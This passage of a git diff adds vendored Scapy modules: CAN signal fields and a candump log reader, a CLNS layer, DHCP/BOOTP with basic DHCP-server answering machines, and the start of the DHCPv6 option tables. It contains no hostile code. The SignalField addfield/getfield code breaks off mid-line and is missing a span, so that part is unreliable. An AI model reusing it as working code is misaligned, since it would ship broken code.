conf.contribs['CAN']['swap-bytes']: + return CAN.inv_endianness(pkt) + pay + return pkt + pay + + def extract_padding(self, p): + return b'', p + + +conf.l2types.register(DLT_CAN_SOCKETCAN, CAN) +bind_layers(CookedLinux, CAN, proto=12) + + +class SignalField(ScalingField): + __slots__ = ["start", "size"] + + def __init__(self, name, default, start, size, scaling=1, unit="", + offset=0, ndigits=3, fmt="B"): + ScalingField.__init__(self, name, default, scaling, unit, offset, + ndigits, fmt) + self.start = start + self.size = abs(size) + + if fmt[-1] == "f" and self.size != 32: + raise Scapy_Exception("SignalField size has to be 32 for floats") + + _lookup_table = [7, 6, 5, 4, 3, 2, 1, 0, + 15, 14, 13, 12, 11, 10, 9, 8, + 23, 22, 21, 20, 19, 18, 17, 16, + 31, 30, 29, 28, 27, 26, 25, 24, + 39, 38, 37, 36, 35, 34, 33, 32, + 47, 46, 45, 44, 43, 42, 41, 40, + 55, 54, 53, 52, 51, 50, 49, 48, + 63, 62, 61, 60, 59, 58, 57, 56] + + @staticmethod + def _msb_lookup(start): + return SignalField._lookup_table.index(start) + + @staticmethod + def _lsb_lookup(start, size): + return SignalField._lookup_table[SignalField._msb_lookup(start) + + size - 1] + + @staticmethod + def _convert_to_unsigned(number, bit_length): + if number & (1 << (bit_length - 1)): + mask = (2 ** bit_length) + return mask + number + return number + + @staticmethod + def _convert_to_signed(number, bit_length): + mask = (2 ** bit_length) - 1 + if number & (1 << (bit_length - 1)): + return number | ~mask + return number & mask + + def _is_little_endian(self): + return self.fmt[0] == "<" + + def _is_signed_number(self): + return self.fmt[-1].islower() + + def _is_float_number(self): + return self.fmt[-1] == "f" + + def addfield(self, pkt, s, val): + if not isinstance(pkt, SignalPacket): + raise Scapy_Exception("Only use SignalFields in a SignalPacket") + + val = self.i2m(pkt, val) + + if self._is_little_endian(): + msb_pos = self.start + self.size - 1 + lsb_pos = self.start + shift = lsb_pos + fmt = "> shift + fld_val &= ((1 << self.size) - 1) + + if self._is_float_number(): + fld_val = struct.unpack(self.fmt, + struct.pack(self.fmt[0] + "I", fld_val))[0] + elif self._is_signed_number(): + fld_val = self._convert_to_signed(fld_val, self.size) + + return s, self.m2i(pkt, fld_val) + + def randval(self): + if self._is_float_number(): + return RandBinFloat(0, 0) + + if self._is_signed_number(): + min_val = -2**(self.size - 1) + max_val = 2**(self.size - 1) - 1 + else: + min_val = 0 + max_val = 2 ** self.size - 1 + + min_val = round(min_val * self.scaling + self.offset, self.ndigits) + max_val = round(max_val * self.scaling + self.offset, self.ndigits) + + return RandFloat(min(min_val, max_val), max(min_val, max_val)) + + def i2len(self, pkt, x): + return float(self.size) / 8 + + +class LEUnsignedSignalField(SignalField): + def __init__(self, name, default, start, size, scaling=1, unit="", + offset=0, ndigits=3): + SignalField.__init__(self, name, default, start, size, + scaling, unit, offset, ndigits, "B") + + +class BESignedSignalField(SignalField): + def __init__(self, name, default, start, size, scaling=1, unit="", + offset=0, ndigits=3): + SignalField.__init__(self, name, default, start, size, + scaling, unit, offset, ndigits, ">b") + + +class LEFloatSignalField(SignalField): + def __init__(self, name, default, start, scaling=1, unit="", + offset=0, ndigits=3): + SignalField.__init__(self, name, default, start, 32, + scaling, unit, offset, ndigits, "f") + + +class SignalPacket(Packet): + def pre_dissect(self, s): + if not all(isinstance(f, SignalField) or + (isinstance(f, ConditionalField) and + isinstance(f.fld, SignalField)) + for f in self.fields_desc): + raise Scapy_Exception("Use only SignalFields in a SignalPacket") + return s + + def post_dissect(self, s): + """ SignalFields can be dissected on packets with unordered fields. + The order of SignalFields is defined from the start parameter. + After a build, the consumed bytes of the length of all SignalFields + have to be removed from the SignalPacket. + """ + if self.wirelen > 8: + raise Scapy_Exception("Only 64 bits for all SignalFields " + "are supported") + self.raw_packet_cache = None # Reset packet to allow post_build + return s[self.wirelen:] + + +class SignalHeader(CAN): + fields_desc = [ + FlagsField('flags', 0, 3, ['error', + 'remote_transmission_request', + 'extended']), + XBitField('identifier', 0, 29), + LenField('length', None, fmt='B'), + ThreeBytesField('reserved', 0) + ] + + def extract_padding(self, s): + return s, None + + +def rdcandump(filename, count=-1, interface=None): + """Read a candump log file and return a packet list + + filename: file to read + count: read only packets + interfaces: return only packets from a specified interface + """ + with CandumpReader(filename, interface) as fdesc: + return fdesc.read_all(count=count) + + +class CandumpReader: + """A stateful candump reader. Each packet is returned as a CAN packet""" + + read_allowed_exceptions = () # emulate SuperSocket + nonblocking_socket = True + + def __init__(self, filename, interface=None): + self.filename, self.f = self.open(filename) + self.ifilter = None + if interface is not None: + if isinstance(interface, six.string_types): + self.ifilter = [interface] + else: + self.ifilter = interface + + def __iter__(self): + return self + + @staticmethod + def open(filename): + """Open (if necessary) filename.""" + if isinstance(filename, six.string_types): + try: + fdesc = gzip.open(filename, "rb") + # try read to cause exception + fdesc.read(1) + fdesc.seek(0) + except IOError: + fdesc = open(filename, "rb") + else: + fdesc = filename + filename = getattr(fdesc, "name", "No name") + return filename, fdesc + + def next(self): + """implement the iterator protocol on a set of packets + """ + try: + pkt = None + while pkt is None: + pkt = self.read_packet() + except EOFError: + raise StopIteration + + return pkt + __next__ = next + + def read_packet(self, size=MTU): + """return a single packet read from the file or None if filters apply + + raise EOFError when no more packets are available + """ + line = self.f.readline() + line = line.lstrip() + if len(line) < 16: + raise EOFError + + is_log_file_format = orb(line[0]) == orb(b"(") + + if is_log_file_format: + t, intf, f = line.split() + idn, data = f.split(b'#') + le = None + t = float(t[1:-1]) + else: + h, data = line.split(b']') + intf, idn, le = h.split() + t = None + + if self.ifilter is not None and \ + intf.decode('ASCII') not in self.ifilter: + return None + + data = data.replace(b' ', b'') + data = data.strip() + + pkt = CAN(identifier=int(idn, 16), data=binascii.unhexlify(data)) + if le is not None: + pkt.length = int(le[1:]) + else: + pkt.length = len(pkt.data) + + if len(idn) > 3: + pkt.flags = 0b100 + + if t is not None: + pkt.time = t + + return pkt + + def dispatch(self, callback): + """call the specified callback routine for each packet read + + This is just a convenience function for the main loop + that allows for easy launching of packet processing in a + thread. + """ + for p in self: + callback(p) + + def read_all(self, count=-1): + """return a list of all packets in the candump file + """ + res = [] + while count != 0: + try: + p = self.read_packet() + if p is None: + continue + except EOFError: + break + count -= 1 + res.append(p) + return PacketList(res, name=os.path.basename(self.filename)) + + def recv(self, size=MTU): + """ Emulate a socket + """ + return self.read_packet(size=size) + + def fileno(self): + return self.f.fileno() + + def close(self): + return self.f.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, tracback): + self.close() + + # emulate SuperSocket + @staticmethod + def select(sockets, remain=None): + return sockets, None diff --git a/libs/scapy/layers/clns.py b/libs/scapy/layers/clns.py new file mode 100755 index 0000000..bf12ef7 --- /dev/null +++ b/libs/scapy/layers/clns.py @@ -0,0 +1,83 @@ +""" + CLNS Extension + ~~~~~~~~~~~~~~~~~~~~~ + + :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany) + :author: Marcel Patzlaff, mpatzlaff@benocs.com + :license: GPLv2 + + This module is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This module is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :description: + + This module provides a registration function and a generic PDU + for OSI Connectionless-mode Network Services (such as IS-IS). +""" + +from scapy.config import conf +from scapy.fields import ByteEnumField, PacketField +from scapy.layers.l2 import LLC +from scapy.packet import Packet, bind_top_down, bind_bottom_up +from scapy.compat import orb + +network_layer_protocol_ids = { + 0x00: "Null", + 0x08: "Q.933", + 0x80: "IEEE SNAP", + 0x81: "ISO 8438 CLNP", + 0x82: "ISO 9542 ES-IS", + 0x83: "ISO 10589 IS-IS", + 0x8E: "IPv6", + 0xB0: "FRF.9", + 0xB1: "FRF.12", + 0xC0: "TRILL", + 0xC1: "IEEE 802.aq", + 0xCC: "IPv4", + 0xCF: "PPP" +} + + +_cln_protocols = {} + + +class _GenericClnsPdu(Packet): + name = "Generic CLNS PDU" + fields_desc = [ + ByteEnumField("nlpid", 0x00, network_layer_protocol_ids), + PacketField("rawdata", None, conf.raw_layer) + ] + + +def _create_cln_pdu(s, **kwargs): + pdu_cls = conf.raw_layer + + if len(s) >= 1: + nlpid = orb(s[0]) + pdu_cls = _cln_protocols.get(nlpid, _GenericClnsPdu) + + return pdu_cls(s, **kwargs) + + +@conf.commands.register +def register_cln_protocol(nlpid, cln_protocol_class): + if nlpid is None or cln_protocol_class is None: + return + + chk = _cln_protocols.get(nlpid, None) + if chk is not None and chk != cln_protocol_class: + raise ValueError("different protocol already registered!") + + _cln_protocols[nlpid] = cln_protocol_class + bind_top_down(LLC, cln_protocol_class, dsap=0xfe, ssap=0xfe, ctrl=3) + + +bind_top_down(LLC, _GenericClnsPdu, dsap=0xfe, ssap=0xfe, ctrl=3) +bind_bottom_up(LLC, _create_cln_pdu, dsap=0xfe, ssap=0xfe, ctrl=3) diff --git a/libs/scapy/layers/dhcp.py b/libs/scapy/layers/dhcp.py new file mode 100755 index 0000000..fb0920b --- /dev/null +++ b/libs/scapy/layers/dhcp.py @@ -0,0 +1,470 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +DHCP (Dynamic Host Configuration Protocol) and BOOTP +""" + +from __future__ import absolute_import +from __future__ import print_function +try: + from collections.abc import Iterable +except ImportError: + # For backwards compatibility. This was removed in Python 3.8 + from collections import Iterable +import random +import struct + +from scapy.ansmachine import AnsweringMachine +from scapy.base_classes import Net +from scapy.compat import chb, orb, bytes_encode +from scapy.fields import ByteEnumField, ByteField, Field, FieldListField, \ + FlagsField, IntField, IPField, ShortField, StrField +from scapy.layers.inet import UDP, IP +from scapy.layers.l2 import Ether +from scapy.packet import bind_layers, bind_bottom_up, Packet +from scapy.utils import atol, itom, ltoa, sane +from scapy.volatile import RandBin, RandField, RandNum, RandNumExpo + +from scapy.arch import get_if_raw_hwaddr +from scapy.sendrecv import srp1, sendp +from scapy.error import warning +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.config import conf + +dhcpmagic = b"c\x82Sc" + + +class BOOTP(Packet): + name = "BOOTP" + fields_desc = [ByteEnumField("op", 1, {1: "BOOTREQUEST", 2: "BOOTREPLY"}), + ByteField("htype", 1), + ByteField("hlen", 6), + ByteField("hops", 0), + IntField("xid", 0), + ShortField("secs", 0), + FlagsField("flags", 0, 16, "???????????????B"), + IPField("ciaddr", "0.0.0.0"), + IPField("yiaddr", "0.0.0.0"), + IPField("siaddr", "0.0.0.0"), + IPField("giaddr", "0.0.0.0"), + Field("chaddr", b"", "16s"), + Field("sname", b"", "64s"), + Field("file", b"", "128s"), + StrField("options", b"")] + + def guess_payload_class(self, payload): + if self.options[:len(dhcpmagic)] == dhcpmagic: + return DHCP + else: + return Packet.guess_payload_class(self, payload) + + def extract_padding(self, s): + if self.options[:len(dhcpmagic)] == dhcpmagic: + # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options # noqa: E501 + payload = self.options[len(dhcpmagic):] + self.options = self.options[:len(dhcpmagic)] + return payload, None + else: + return b"", None + + def hashret(self): + return struct.pack("!I", self.xid) + + def answers(self, other): + if not isinstance(other, BOOTP): + return 0 + return self.xid == other.xid + + +class _DHCPParamReqFieldListField(FieldListField): + def getfield(self, pkt, s): + ret = [] + while s: + s, val = FieldListField.getfield(self, pkt, s) + ret.append(val) + return b"", [x[0] for x in ret] + +# DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \ +# = range(4) +# + + +DHCPTypes = { + 1: "discover", + 2: "offer", + 3: "request", + 4: "decline", + 5: "ack", + 6: "nak", + 7: "release", + 8: "inform", + 9: "force_renew", + 10: "lease_query", + 11: "lease_unassigned", + 12: "lease_unknown", + 13: "lease_active", +} + +DHCPOptions = { + 0: "pad", + 1: IPField("subnet_mask", "0.0.0.0"), + 2: IntField("time_zone", 500), + 3: IPField("router", "0.0.0.0"), + 4: IPField("time_server", "0.0.0.0"), + 5: IPField("IEN_name_server", "0.0.0.0"), + 6: IPField("name_server", "0.0.0.0"), + 7: IPField("log_server", "0.0.0.0"), + 8: IPField("cookie_server", "0.0.0.0"), + 9: IPField("lpr_server", "0.0.0.0"), + 10: IPField("impress-servers", "0.0.0.0"), + 11: IPField("resource-location-servers", "0.0.0.0"), + 12: "hostname", + 13: ShortField("boot-size", 1000), + 14: "dump_path", + 15: "domain", + 16: IPField("swap-server", "0.0.0.0"), + 17: "root_disk_path", + 18: "extensions-path", + 19: ByteField("ip-forwarding", 0), + 20: ByteField("non-local-source-routing", 0), + 21: IPField("policy-filter", "0.0.0.0"), + 22: ShortField("max_dgram_reass_size", 300), + 23: ByteField("default_ttl", 50), + 24: IntField("pmtu_timeout", 1000), + 25: ShortField("path-mtu-plateau-table", 1000), + 26: ShortField("interface-mtu", 50), + 27: ByteField("all-subnets-local", 0), + 28: IPField("broadcast_address", "0.0.0.0"), + 29: ByteField("perform-mask-discovery", 0), + 30: ByteField("mask-supplier", 0), + 31: ByteField("router-discovery", 0), + 32: IPField("router-solicitation-address", "0.0.0.0"), + 33: IPField("static-routes", "0.0.0.0"), + 34: ByteField("trailer-encapsulation", 0), + 35: IntField("arp_cache_timeout", 1000), + 36: ByteField("ieee802-3-encapsulation", 0), + 37: ByteField("tcp_ttl", 100), + 38: IntField("tcp_keepalive_interval", 1000), + 39: ByteField("tcp_keepalive_garbage", 0), + 40: StrField("NIS_domain", "www.example.com"), + 41: IPField("NIS_server", "0.0.0.0"), + 42: IPField("NTP_server", "0.0.0.0"), + 43: "vendor_specific", + 44: IPField("NetBIOS_server", "0.0.0.0"), + 45: IPField("NetBIOS_dist_server", "0.0.0.0"), + 46: ByteField("static-routes", 100), + 47: "netbios-scope", + 48: IPField("font-servers", "0.0.0.0"), + 49: IPField("x-display-manager", "0.0.0.0"), + 50: IPField("requested_addr", "0.0.0.0"), + 51: IntField("lease_time", 43200), + 52: ByteField("dhcp-option-overload", 100), + 53: ByteEnumField("message-type", 1, DHCPTypes), + 54: IPField("server_id", "0.0.0.0"), + 55: _DHCPParamReqFieldListField("param_req_list", [], ByteField("opcode", 0), length_from=lambda x: 1), # noqa: E501 + 56: "error_message", + 57: ShortField("max_dhcp_size", 1500), + 58: IntField("renewal_time", 21600), + 59: IntField("rebinding_time", 37800), + 60: StrField("vendor_class_id", "id"), + 61: StrField("client_id", ""), + 62: "nwip-domain-name", + 64: "NISplus_domain", + 65: IPField("NISplus_server", "0.0.0.0"), + 67: StrField("boot-file-name", ""), + 68: IPField("mobile-ip-home-agent", "0.0.0.0"), + 69: IPField("SMTP_server", "0.0.0.0"), + 70: IPField("POP3_server", "0.0.0.0"), + 71: IPField("NNTP_server", "0.0.0.0"), + 72: IPField("WWW_server", "0.0.0.0"), + 73: IPField("Finger_server", "0.0.0.0"), + 74: IPField("IRC_server", "0.0.0.0"), + 75: IPField("StreetTalk_server", "0.0.0.0"), + 76: IPField("StreetTalk_Dir_Assistance", "0.0.0.0"), + 78: "slp_service_agent", + 79: "slp_service_scope", + 81: "client_FQDN", + 82: "relay_agent_information", + 85: IPField("nds-server", "0.0.0.0"), + 86: StrField("nds-tree-name", ""), + 87: StrField("nds-context", ""), + 88: "bcms-controller-namesi", + 89: IPField("bcms-controller-address", "0.0.0.0"), + 91: IntField("client-last-transaction-time", 1000), + 92: IPField("associated-ip", "0.0.0.0"), + 93: "pxe_client_architecture", + 94: "pxe_client_network_interface", + 97: "pxe_client_machine_identifier", + 98: StrField("uap-servers", ""), + 100: StrField("pcode", ""), + 101: StrField("tcode", ""), + 112: IPField("netinfo-server-address", "0.0.0.0"), + 113: StrField("netinfo-server-tag", ""), + 114: StrField("default-url", ""), + 116: ByteField("auto-config", 0), + 117: ShortField("name-service-search", 0,), + 118: IPField("subnet-selection", "0.0.0.0"), + 124: "vendor_class", + 125: "vendor_specific_information", + 136: IPField("pana-agent", "0.0.0.0"), + 137: "v4-lost", + 138: IPField("capwap-ac-v4", "0.0.0.0"), + 141: "sip_ua_service_domains", + 146: "rdnss-selection", + 159: "v4-portparams", + 160: StrField("v4-captive-portal", ""), + 208: "pxelinux_magic", + 209: "pxelinux_configuration_file", + 210: "pxelinux_path_prefix", + 211: "pxelinux_reboot_time", + 212: "option-6rd", + 213: "v4-access-domain", + 255: "end" +} + +DHCPRevOptions = {} + +for k, v in six.iteritems(DHCPOptions): + if isinstance(v, str): + n = v + v = None + else: + n = v.name + DHCPRevOptions[n] = (k, v) +del(n) +del(v) +del(k) + + +class RandDHCPOptions(RandField): + def __init__(self, size=None, rndstr=None): + if size is None: + size = RandNumExpo(0.05) + self.size = size + if rndstr is None: + rndstr = RandBin(RandNum(0, 255)) + self.rndstr = rndstr + self._opts = list(six.itervalues(DHCPOptions)) + self._opts.remove("pad") + self._opts.remove("end") + + def _fix(self): + op = [] + for k in range(self.size): + o = random.choice(self._opts) + if isinstance(o, str): + op.append((o, self.rndstr * 1)) + else: + op.append((o.name, o.randval()._fix())) + return op + + +class DHCPOptionsField(StrField): + islist = 1 + + def i2repr(self, pkt, x): + s = [] + for v in x: + if isinstance(v, tuple) and len(v) >= 2: + if v[0] in DHCPRevOptions and isinstance(DHCPRevOptions[v[0]][1], Field): # noqa: E501 + f = DHCPRevOptions[v[0]][1] + vv = ",".join(f.i2repr(pkt, val) for val in v[1:]) + else: + vv = ",".join(repr(val) for val in v[1:]) + r = "%s=%s" % (v[0], vv) + s.append(r) + else: + s.append(sane(v)) + return "[%s]" % (" ".join(s)) + + def getfield(self, pkt, s): + return b"", self.m2i(pkt, s) + + def m2i(self, pkt, x): + opt = [] + while x: + o = orb(x[0]) + if o == 255: + opt.append("end") + x = x[1:] + continue + if o == 0: + opt.append("pad") + x = x[1:] + continue + if len(x) < 2 or len(x) < orb(x[1]) + 2: + opt.append(x) + break + elif o in DHCPOptions: + f = DHCPOptions[o] + + if isinstance(f, str): + olen = orb(x[1]) + opt.append((f, x[2:olen + 2])) + x = x[olen + 2:] + else: + olen = orb(x[1]) + lval = [f.name] + try: + left = x[2:olen + 2] + while left: + left, val = f.getfield(pkt, left) + lval.append(val) + except Exception: + opt.append(x) + break + else: + otuple = tuple(lval) + opt.append(otuple) + x = x[olen + 2:] + else: + olen = orb(x[1]) + opt.append((o, x[2:olen + 2])) + x = x[olen + 2:] + return opt + + def i2m(self, pkt, x): + if isinstance(x, str): + return x + s = b"" + for o in x: + if isinstance(o, tuple) and len(o) >= 2: + name = o[0] + lval = o[1:] + + if isinstance(name, int): + onum, oval = name, b"".join(lval) + elif name in DHCPRevOptions: + onum, f = DHCPRevOptions[name] + if f is not None: + lval = (f.addfield(pkt, b"", f.any2i(pkt, val)) for val in lval) # noqa: E501 + else: + lval = (bytes_encode(x) for x in lval) + oval = b"".join(lval) + else: + warning("Unknown field option %s", name) + continue + + s += chb(onum) + s += chb(len(oval)) + s += oval + + elif (isinstance(o, str) and o in DHCPRevOptions and + DHCPRevOptions[o][1] is None): + s += chb(DHCPRevOptions[o][0]) + elif isinstance(o, int): + s += chb(o) + b"\0" + elif isinstance(o, (str, bytes)): + s += bytes_encode(o) + else: + warning("Malformed option %s", o) + return s + + +class DHCP(Packet): + name = "DHCP options" + fields_desc = [DHCPOptionsField("options", b"")] + + +bind_layers(UDP, BOOTP, dport=67, sport=68) +bind_layers(UDP, BOOTP, dport=68, sport=67) +bind_bottom_up(UDP, BOOTP, dport=67, sport=67) +bind_layers(BOOTP, DHCP, options=b'c\x82Sc') + + +@conf.commands.register +def dhcp_request(iface=None, **kargs): + """Send a DHCP discover request and return the answer""" + if conf.checkIPaddr: + warning( + "conf.checkIPaddr is enabled, may not be able to match the answer" + ) + if iface is None: + iface = conf.iface + fam, hw = get_if_raw_hwaddr(iface) + return srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / # noqa: E501 + BOOTP(chaddr=hw) / DHCP(options=[("message-type", "discover"), "end"]), iface=iface, **kargs) # noqa: E501 + + +class BOOTP_am(AnsweringMachine): + function_name = "bootpd" + filter = "udp and port 68 and port 67" + send_function = staticmethod(sendp) + + def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24", gw="192.168.1.1", # noqa: E501 + domain="localnet", renewal_time=60, lease_time=1800): + self.domain = domain + netw, msk = (network.split("/") + ["32"])[:2] + msk = itom(int(msk)) + self.netmask = ltoa(msk) + self.network = ltoa(atol(netw) & msk) + self.broadcast = ltoa(atol(self.network) | (0xffffffff & ~msk)) + self.gw = gw + if isinstance(pool, six.string_types): + pool = Net(pool) + if isinstance(pool, Iterable): + pool = [k for k in pool if k not in [gw, self.network, self.broadcast]] # noqa: E501 + pool.reverse() + if len(pool) == 1: + pool, = pool + self.pool = pool + self.lease_time = lease_time + self.renewal_time = renewal_time + self.leases = {} + + def is_request(self, req): + if not req.haslayer(BOOTP): + return 0 + reqb = req.getlayer(BOOTP) + if reqb.op != 1: + return 0 + return 1 + + def print_reply(self, req, reply): + print("Reply %s to %s" % (reply.getlayer(IP).dst, reply.dst)) + + def make_reply(self, req): + mac = req[Ether].src + if isinstance(self.pool, list): + if mac not in self.leases: + self.leases[mac] = self.pool.pop() + ip = self.leases[mac] + else: + ip = self.pool + + repb = req.getlayer(BOOTP).copy() + repb.op = "BOOTREPLY" + repb.yiaddr = ip + repb.siaddr = self.gw + repb.ciaddr = self.gw + repb.giaddr = self.gw + del(repb.payload) + rep = Ether(dst=mac) / IP(dst=ip) / UDP(sport=req.dport, dport=req.sport) / repb # noqa: E501 + return rep + + +class DHCP_am(BOOTP_am): + function_name = "dhcpd" + + def make_reply(self, req): + resp = BOOTP_am.make_reply(self, req) + if DHCP in req: + dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1])) + for op in req[DHCP].options + if isinstance(op, tuple) and op[0] == "message-type"] # noqa: E501 + dhcp_options += [("server_id", self.gw), + ("domain", self.domain), + ("router", self.gw), + ("name_server", self.gw), + ("broadcast_address", self.broadcast), + ("subnet_mask", self.netmask), + ("renewal_time", self.renewal_time), + ("lease_time", self.lease_time), + "end" + ] + resp /= DHCP(options=dhcp_options) + return resp diff --git a/libs/scapy/layers/dhcp6.py b/libs/scapy/layers/dhcp6.py new file mode 100755 index 0000000..59fe9c0 --- /dev/null +++ b/libs/scapy/layers/dhcp6.py @@ -0,0 +1,1859 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +# Copyright (C) 2005 Guillaume Valadon +# Arnaud Ebalard + +""" +DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315] +""" + +from __future__ import print_function +import socket +import struct +import time + +from scapy.ansmachine import AnsweringMachine +from scapy.arch import get_if_raw_hwaddr, in6_getifaddr +from scapy.config import conf +from scapy.data import EPOCH, ETHER_ANY +from scapy.compat import raw, orb, chb +from scapy.error import warning +from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ + FlagsField, IntEnumField, IntField, MACField, PacketField, \ + PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \ + StrLenField, UTCTimeField, X3BytesField, XIntField, XShortEnumField, \ + PacketLenField, UUIDField, FieldListField +from scapy.data import IANA_ENTERPRISE_NUMBERS +from scapy.layers.inet import UDP +from scapy.layers.inet6 import DomainNameListField, IP6Field, IP6ListField, \ + IPv6 +from scapy.packet import Packet, bind_bottom_up +from scapy.pton_ntop import inet_pton +from scapy.sendrecv import send +from scapy.themes import Color +from scapy.utils6 import in6_addrtovendor, in6_islladdr +import scapy.modules.six as six + +############################################################################# +# Helpers ## +############################################################################# + + +def get_cls(name, fallback_cls): + return globals().get(name, fallback_cls) + + +dhcp6_cls_by_type = {1: "DHCP6_Solicit", + 2: "DHCP6_Advertise", + 3: "DHCP6_Request", + 4: "DHCP6_Confirm", + 5: "DHCP6_Renew", + 6: "DHCP6_Rebind", + 7: "DHCP6_Reply", + 8: "DHCP6_Release", + 9: "DHCP6_Decline", + 10: "DHCP6_Reconf", + 11: "DHCP6_InfoRequest", + 12: "DHCP6_RelayForward", + 13: "DHCP6_RelayReply"} + + +def _dhcp6_dispatcher(x, *args, **kargs): + cls = conf.raw_layer + if len(x) >= 2: + cls = get_cls(dhcp6_cls_by_type.get(orb(x[0]), "Raw"), conf.raw_layer) + return cls(x, *args, **kargs) + +############################################################################# +############################################################################# +# DHCPv6 # +############################################################################# +############################################################################# + + +All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" +All_DHCP_Servers = "ff05::1:3" # Site-Local scope : deprecated by 3879 + +dhcp6opts = {1: "CLIENTID", + 2: "SERVERID", + 3: "IA_NA", + 4: "IA_TA", + 5: "IAADDR", + 6: "ORO", + 7: "PREFERENCE", + 8: "ELAPSED_TIME", + 9: "RELAY_MSG", + 11: "AUTH", + 12: "UNICAST", + 13: "STATUS_CODE", + 14: "RAPID_COMMIT", + 15: "USER_CLASS", + 16: "VENDOR_CLASS", + 17: "VENDOR_OPTS", + 18: "INTERFACE_ID", + 19: "RECONF_MSG", + 20: "RECONF_ACCEPT", + 21: "SIP Servers Domain Name List", # RFC3319 + 22: "SIP Servers IPv6 Address List", # RFC3319 + 23: "DNS Recursive Name Server Option", # RFC3646 + 24: "Domain Search List option", # RFC3646 + 25: "OPTION_IA_PD", # RFC3633 + 26: "OPTION_IAPREFIX", # RFC3633 + 27: "OPTION_NIS_SERVERS", # RFC3898 + 28: "OPTION_NISP_SERVERS", # RFC3898 + 29: "OPTION_NIS_DOMAIN_NAME", # RFC3898 + 30: "OPTION_NISP_DOMAIN_NAME", # RFC3898 + 31: "OPTION_SNTP_SERVERS", # RFC4075 + 32: "OPTION_INFORMATION_REFRESH_TIME", # RFC4242 + 33: "OPTION_BCMCS_SERVER_D", # RFC4280 + 34: "OPTION_BCMCS_SERVER_A", # RFC4280 + 36: "OPTION_GEOCONF_CIVIC", # RFC-ietf-geopriv-dhcp-civil-09.txt + 37: "OPTION_REMOTE_ID", # RFC4649 + 38: "OPTION_SUBSCRIBER_ID", # RFC4580 + 39: "OPTION_CLIENT_FQDN", # RFC4704 + 40: "OPTION_PANA_AGENT", # RFC5192 + 41: "OPTION_NEW_POSIX_TIMEZONE", # RFC4833 + 42: "OPTION_NEW_TZDB_TIMEZONE", # RFC4833 + 48: "OPTION_LQ_CLIENT_LINK", # RFC5007 + 59: "OPT_BOOTFILE_URL", # RFC5970 + 60: "OPT_BOOTFILE_PARAM", # RFC5970 + 61: "OPTION_CLIENT_ARCH_TYPE", # RFC5970 + 62: "OPTION_NII", # RFC5970 + 65: "OPTION_ERP_LOCAL_DOMAIN_NAME", # RFC6440 + 66: "OPTION_RELAY_SUPPLIED_OPTIONS", # RFC6422 + 68: "OPTION_VSS", # RFC6607 + 79: "OPTION_CLIENT_LINKLAYER_ADDR"} # RFC6939 + +dhcp6opts_by_code = {1: "DHCP6OptClientId", + 2: "DHCP6OptServerId", + 3: "DHCP6OptIA_NA", + 4: "DHCP6OptIA_TA", + 5: "DHCP6OptIAAddress", + 6: "DHCP6OptOptReq", + 7: "DHCP6OptPref", + 8: "DHCP6OptElapsedTime", + 9: "DHCP6OptRelayMsg", + 11: "DHCP6OptAuth", + 12: "DHCP6OptServerUnicast", + 13: "DHCP6OptStatusCode", + 14: "DHCP6OptRapidCommit", + 15: "DHCP6OptUserClass", + 16: "DHCP6OptVendorClass", + 17: "DHCP6OptVendorSpecificInfo", + 18: "DHCP6OptIfaceId", + 19: "DHCP6OptReconfMsg", + 20: "DHCP6OptReconfAccept", + 21: "DHCP6OptSIPDomains", # RFC3319 + 22: "DHCP6OptSIPServers", # RFC3319 + 23: "DHCP6OptDNSServers", # RFC3646 + 24: "DHCP6OptDNSDomains", # RFC3646 + 25: "DHCP6OptIA_PD", # RFC3633 + 26: "DHCP6OptIAPrefix", # RFC3633 + 27: "DHCP6OptNISServers", # RFC3898 + 28: "DHCP6OptNISPServers", # RFC3898 + 29: "DHCP6OptNISDomain", # RFC3898 + 30: "DHCP6OptNISPDomain", # RFC3898 + 31: "DHCP6OptSNTPServers", # RFC4075 + 32: "DHCP6OptInfoRefreshTime", # RFC4242 + 33: "DHCP6OptBCMCSDomains", # RFC4280 + 34: "DHCP6OptBCMCSServers", # RFC4280 + # 36: "DHCP6OptGeoConf", #RFC-ietf-geopriv-dhcp-civil-09.txt # noqa: E501 + 37: "DHCP6OptRemoteID", # RFC4649 + 38: "DHCP6OptSubscriberID", # RFC4580 + 39: "DHCP6OptClientFQDN", # RFC4704 + 40: "DHCP6OptPanaAuthAgent", # RFC-ietf-dhc-paa-option-05.txt # noqa: E501 + 41: "DHCP6OptNewPOSIXTimeZone", # RFC4833 + 42: "DHCP6OptNewTZDBTimeZone", # RFC4833 + 43: "DHCP6OptRelayAgentERO", # RFC4994 + # 44: "DHCP6OptLQQuery", #RFC5007 + # 45: "DHCP6OptLQClientData", #RFC5007 + # 46: "DHCP6OptLQClientTime", #RFC5007 + # 47: "DHCP6OptLQRelayData", #RFC5007 + 48: "DHCP6OptLQClientLink", # RFC5007 + 59: "DHCP6OptBootFileUrl", # RFC5790 + 60: "DHCP6OptBootFileParam", # RFC5970 + 61: "DHCP6OptClientArchType", # RFC5970 + 62: "DHCP6OptClientNetworkInterId", # RFC5970 + 65: "DHCP6OptERPDomain", # RFC6440 + 66: "DHCP6OptRelaySuppliedOpt", # RFC6422 + 68: "DHCP6OptVSS", # RFC6607 + 79: "DHCP6OptClientLinkLayerAddr", # RFC6939 + } + + +# sect 5.3 